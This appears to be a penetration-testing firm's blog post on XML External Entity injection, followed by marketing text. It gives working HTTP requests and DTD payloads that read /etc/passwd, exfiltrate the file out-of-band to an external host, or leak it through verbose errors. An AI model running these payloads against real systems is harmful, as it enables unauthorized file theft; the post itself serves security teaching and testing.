XML External Entity (XXE) injection attacks are a simple way to extract files from a remote server via web requests. For easy use of XXE, the server response must include a reflection point that displays the injected entity (remote file) back to the client. Below is an example of a common XXE injection request and response. The injections have been highlighted.
POST /netspi HTTP/1.1 Host: someserver.netspi.com Accept: application/json Content-Type: application/xml Content-Length: 288 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <root> <search>name</search> <value>&xxe;</value> </root>
HTTP/1.1 200 OK Content-Type: application/xml Content-Length: 2467 <?xml version="1.0" encoding="UTF-8"?> <errors> <error>no results for name root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync.... </error> </errors>
However, it’s also very common for nothing to be returned in the error response if the application doesn’t reflect any user input back to the client. This can make simple XXE attacks harder. If connections are allowed to remote systems from the vulnerable server then it’s possible to use an external DTD to extract local files via web requests. This technique has been covered in greater detail at this whitepaper but below is an overview of how the modified XXE injection technique works and can be executed.
1. Host a .dtd file on a web server that is accessible from the vulnerable system. In my example the “netspi.dtd” file is hosted on xxe.netspi.com. The DTD file contains a XXE injection that will send the contents of the /etc/password file to the web server at http://xxe.netspi.com.
<!ENTITY % payload SYSTEM “file:///etc/passwd”>
<!ENTITY % param1 ‘<!ENTITY % external SYSTEM “http://xxe.netspi.com/x=%payload;”>’> %param1; %external;
2. Next, the attack can be executed by referencing the hosted DTD file as shown below. The request does not even have to contain any XML body, for as long as the server processes XML requests.
POST /netspi HTTP/1.1 Host: someserver.netspi.com Accept: application/json Content-Type: application/xml Content-Length: 139 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE foo SYSTEM "http://xxe.netspi.com/netspi.dtd"> <root> <search>name</search> </root>
3. At this point the XXE attack results in a connection to xxe.netspi.com to load the external DTD file. The hosted DTD file then uses parameter entities to wrap the contents of the /etc/passwd file into another HTTP request to xxe.netspi.com.
4. Now it may be possible to extract the contents of /etc/passwd file without having a reflection point on the page itself, but by reading incoming traffic on xxe.netspi.com. The file contents can be parsed from web server logs or from an actual page.
I should note that only a single line of /etc/passwd can be read using this method, or the HTTP request may fail altogether because of line breaks in the target file. There is another option though. In some cases it’s also possible to make data extraction easier by forcing an error on the server by adding an invalid URI to the request. Below is an example of a modified DTD:
<!ENTITY % payload SYSTEM “file:///etc/passwd”>
<!ENTITY % param1 ‘<!ENTITY % external SYSTEM “file:///nothere/%payload;”>’> %param1; %external;
If the server displays verbose errors to client, the error may contain the file contents of the file that’s getting extracted. Below is an example:
HTTP/1.1 500 Internal Server Error Content-Type: application/xml Content-Length: 2467 <?xml version="1.0" encoding="UTF-8"?><root> <errors> <errorMessage>java.io.FileNotFoundException: file:///nothere/root:x:0:0:root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync....
The invalid file path causes a “FileNotFoundException”, and an error message that contains /etc/passwd file contents. This same technique was recently covered in this Drupal XXE whitepaper as well but as I had the blog written I thought I could as well publish it 🙂
PTaaS is NetSPI’s delivery model for penetration testing. It enables customers to simplify the scoping of new engagements, view their testing results in real time, orchestrate faster remediation, perform always-on continuous testing, and more - all through the Resolve™ vulnerability management and orchestration platform. Learn More
We help organizations defend against adversaries by being the best at simulating real-world, sophisticated adversaries with the products, services, and training we provide. We know how attackers think and operate, allowing us to help our customers better defend against the threats they face daily.
At NetSPI, we believe that there is simply no replacement for human-led manual deep dive testing. Our Resolve platform delivers automation to ensure our people spend time looking for the critical vulnerabilities that tools miss. We provide automated and manual testing of all aspects of an organization’s entire attack surface, including external and internal network, application, cloud, and physical security.
Our proven methodology ensures that the client experience and our findings aren’t only as good as the latest tester assigned to your project. That consistency gives our customers assurance that if vulnerabilities exist, we will find them.